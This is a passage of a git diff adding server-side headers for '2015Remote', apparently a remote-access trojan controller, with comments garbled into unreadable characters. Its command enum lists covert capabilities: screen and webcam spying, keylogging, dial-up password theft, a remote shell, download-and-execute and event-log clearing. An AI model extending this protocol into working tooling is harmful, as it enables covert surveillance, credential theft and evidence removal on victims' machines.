return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath);
|
||||
}
|
||||
|
||||
iniFile::~iniFile(void)
|
||||
{
|
||||
}
|
||||
12
server/2015Remote/iniFile.h
Normal file
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
class iniFile
|
||||
{
|
||||
public:
|
||||
BOOL iniFile::ContructIniFile();
|
||||
int iniFile::GetInt(CString MainKey,CString SubKey);
|
||||
BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data);
|
||||
CString m_IniFilePath;
|
||||
iniFile(void);
|
||||
~iniFile(void);
|
||||
};
|
||||
BIN
server/2015Remote/res/2015Remote.ico
Normal file
|
After Width: | Height: | Size: 66 KiB |
BIN
server/2015Remote/res/Bitmap/Online.bmp
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
server/2015Remote/res/Bitmap/ToolBar_File.bmp
Normal file
|
After Width: | Height: | Size: 10 KiB |
BIN
server/2015Remote/res/Bitmap/ToolBar_Main.bmp
Normal file
|
After Width: | Height: | Size: 81 KiB |
BIN
server/2015Remote/res/Bitmap/bmp00001.bmp
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
server/2015Remote/res/Bitmap/toolbar1.bmp
Normal file
|
After Width: | Height: | Size: 14 KiB |
BIN
server/2015Remote/res/Cur/Drag.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/Cur/MutiDrag.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/My2015Remote.rc2
Normal file
BIN
server/2015Remote/res/audio.ico
Normal file
|
After Width: | Height: | Size: 22 KiB |
BIN
server/2015Remote/res/cmdshell.ico
Normal file
|
After Width: | Height: | Size: 3.2 KiB |
BIN
server/2015Remote/res/dword.ico
Normal file
|
After Width: | Height: | Size: 318 B |
BIN
server/2015Remote/res/file.ico
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
server/2015Remote/res/pc.ico
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
server/2015Remote/res/string.ico
Normal file
|
After Width: | Height: | Size: 318 B |
BIN
server/2015Remote/resource.h
Normal file
8
server/2015Remote/stdafx.cpp
Normal file
@@ -0,0 +1,8 @@
|
||||
|
||||
// stdafx.cpp : ֻ<><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Դ<EFBFBD>ļ<EFBFBD>
|
||||
// 2015Remote.pch <20><><EFBFBD><EFBFBD>ΪԤ<CEAA><D4A4><EFBFBD><EFBFBD>ͷ
|
||||
// stdafx.obj <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ԥ<EFBFBD><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
|
||||
222
server/2015Remote/stdafx.h
Normal file
@@ -0,0 +1,222 @@
|
||||
|
||||
// stdafx.h : <20><>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>İ<EFBFBD><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
// <20><><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD>ʹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵ<EFBFBD>
|
||||
// <20>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD>İ<EFBFBD><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _SECURE_ATL
|
||||
#define _SECURE_ATL 1
|
||||
#endif
|
||||
|
||||
#ifndef VC_EXTRALEAN
|
||||
#define VC_EXTRALEAN // <20><> Windows ͷ<><CDB7><EFBFBD>ų<EFBFBD><C5B3><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||
#include "vld.h"
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
|
||||
|
||||
// <20>ر<EFBFBD> MFC <20><>ijЩ<C4B3><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7>ĺ<EFBFBD><C4BA>Եľ<D4B5><C4BE><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define _AFX_ALL_WARNINGS
|
||||
|
||||
#include <afxwin.h> // MFC <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͱ<EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD>
|
||||
#include <afxext.h> // MFC <20><>չ
|
||||
|
||||
|
||||
#include <afxdisp.h> // MFC <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
|
||||
#ifndef _AFX_NO_OLE_SUPPORT
|
||||
#include <afxdtctl.h> // MFC <20><> Internet Explorer 4 <20><><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD><D6A7>
|
||||
#endif
|
||||
#ifndef _AFX_NO_AFXCMN_SUPPORT
|
||||
#include <afxcmn.h> // MFC <20><> Windows <20><><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD><D6A7>
|
||||
#endif // _AFX_NO_AFXCMN_SUPPORT
|
||||
|
||||
#include <afxcontrolbars.h> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϳؼ<CDBF><D8BC><EFBFBD><EFBFBD><EFBFBD> MFC ֧<><D6A7>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
enum
|
||||
{
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
||||
TRANSFER_MODE_ADDITION, // <><D7B7>
|
||||
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
||||
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
||||
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
||||
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
||||
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
||||
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
|
||||
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
||||
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
||||
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
||||
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
||||
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
||||
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
||||
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
||||
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
||||
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
|
||||
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
||||
|
||||
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
||||
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||
COMMAND_SHELL, // cmdshell
|
||||
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
||||
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
||||
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
||||
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
|
||||
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
||||
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
||||
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
||||
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE
|
||||
};
|
||||
|
||||
|
||||
#define WM_USERTOONLINELIST WM_USER + 3000
|
||||
#define WM_OPENSCREENSPYDIALOG WM_USER + 3001
|
||||
#define WM_OPENFILEMANAGERDIALOG WM_USER + 3002
|
||||
#define WM_OPENTALKDIALOG WM_USER+3003
|
||||
#define WM_OPENSHELLDIALOG WM_USER+3004
|
||||
#define WM_OPENSYSTEMDIALOG WM_USER+3005
|
||||
#define WM_OPENAUDIODIALOG WM_USER+3006
|
||||
#define WM_OPENSERVICESDIALOG WM_USER+3007
|
||||
#define WM_OPENREGISTERDIALOG WM_USER+3008
|
||||
#define WM_OPENWEBCAMDIALOG WM_USER+3009
|
||||
|
||||
#define WM_USEROFFLINEMSG WM_USER+3010
|
||||
|
||||
enum
|
||||
{
|
||||
FILEMANAGER_DLG = 1,
|
||||
SCREENSPY_DLG,
|
||||
VIDEO_DLG,
|
||||
AUDIO_DLG,
|
||||
KEYBOARD_DLG,
|
||||
SYSTEM_DLG,
|
||||
SHELL_DLG,
|
||||
SERVICES_DLG,
|
||||
REGISTER_DLG,
|
||||
TALK_DLG,
|
||||
MONITOR_DLG
|
||||
};
|
||||
|
||||
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#elif defined _M_X64
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#else
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
#include <assert.h>
|
||||
#include <MMSystem.h>
|
||||
#pragma comment(lib, "winmm.lib")
|
||||
|
||||
// <20>߾<EFBFBD><DFBE>ȵ<EFBFBD>˯<EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD>
|
||||
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
|
||||
|
||||
// <20>Բ<EFBFBD><D4B2><EFBFBD>n<EFBFBD><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD>µȴ<C2B5>T<EFBFBD><54>(n<>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1000)
|
||||
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>10ms)
|
||||
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>1ms)
|
||||
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
|
||||
8
server/2015Remote/targetver.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> SDKDDKVer.h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0>Ŀ<EFBFBD><C4BF><EFBFBD> Windows ƽ̨<C6BD><CCA8>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ҪΪ<D2AA><CEAA>ǰ<EFBFBD><C7B0> Windows ƽ̨<C6BD><CCA8><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WinSDKVer.h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// WIN32_WINNT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ΪҪ֧<D2AA>ֵ<EFBFBD>ƽ̨<C6BD><CCA8>Ȼ<EFBFBD><C8BB><EFBFBD>ٰ<EFBFBD><D9B0><EFBFBD> SDKDDKVer.h<><68>
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
279
server/2015Remote/zconf.h
Normal file
@@ -0,0 +1,279 @@
|
||||
/* zconf.h -- configuration of the zlib compression library
|
||||
* Copyright (C) 1995-2002 Jean-loup Gailly.
|
||||
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||
*/
|
||||
|
||||
/* @(#) $Id$ */
|
||||
|
||||
#ifndef _ZCONF_H
|
||||
#define _ZCONF_H
|
||||
|
||||
/*
|
||||
* If you *really* need a unique prefix for all types and library functions,
|
||||
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
|
||||
*/
|
||||
#ifdef Z_PREFIX
|
||||
# define deflateInit_ z_deflateInit_
|
||||
# define deflate z_deflate
|
||||
# define deflateEnd z_deflateEnd
|
||||
# define inflateInit_ z_inflateInit_
|
||||
# define inflate z_inflate
|
||||
# define inflateEnd z_inflateEnd
|
||||
# define deflateInit2_ z_deflateInit2_
|
||||
# define deflateSetDictionary z_deflateSetDictionary
|
||||
# define deflateCopy z_deflateCopy
|
||||
# define deflateReset z_deflateReset
|
||||
# define deflateParams z_deflateParams
|
||||
# define inflateInit2_ z_inflateInit2_
|
||||
# define inflateSetDictionary z_inflateSetDictionary
|
||||
# define inflateSync z_inflateSync
|
||||
# define inflateSyncPoint z_inflateSyncPoint
|
||||
# define inflateReset z_inflateReset
|
||||
# define compress z_compress
|
||||
# define compress2 z_compress2
|
||||
# define uncompress z_uncompress
|
||||
# define adler32 z_adler32
|
||||
# define crc32 z_crc32
|
||||
# define get_crc_table z_get_crc_table
|
||||
|
||||
# define Byte z_Byte
|
||||
# define uInt z_uInt
|
||||
# define uLong z_uLong
|
||||
# define Bytef z_Bytef
|
||||
# define charf z_charf
|
||||
# define intf z_intf
|
||||
# define uIntf z_uIntf
|
||||
# define uLongf z_uLongf
|
||||
# define voidpf z_voidpf
|
||||
# define voidp z_voidp
|
||||
#endif
|
||||
|
||||
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
|
||||
# define WIN32
|
||||
#endif
|
||||
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
|
||||
# ifndef __32BIT__
|
||||
# define __32BIT__
|
||||
# endif
|
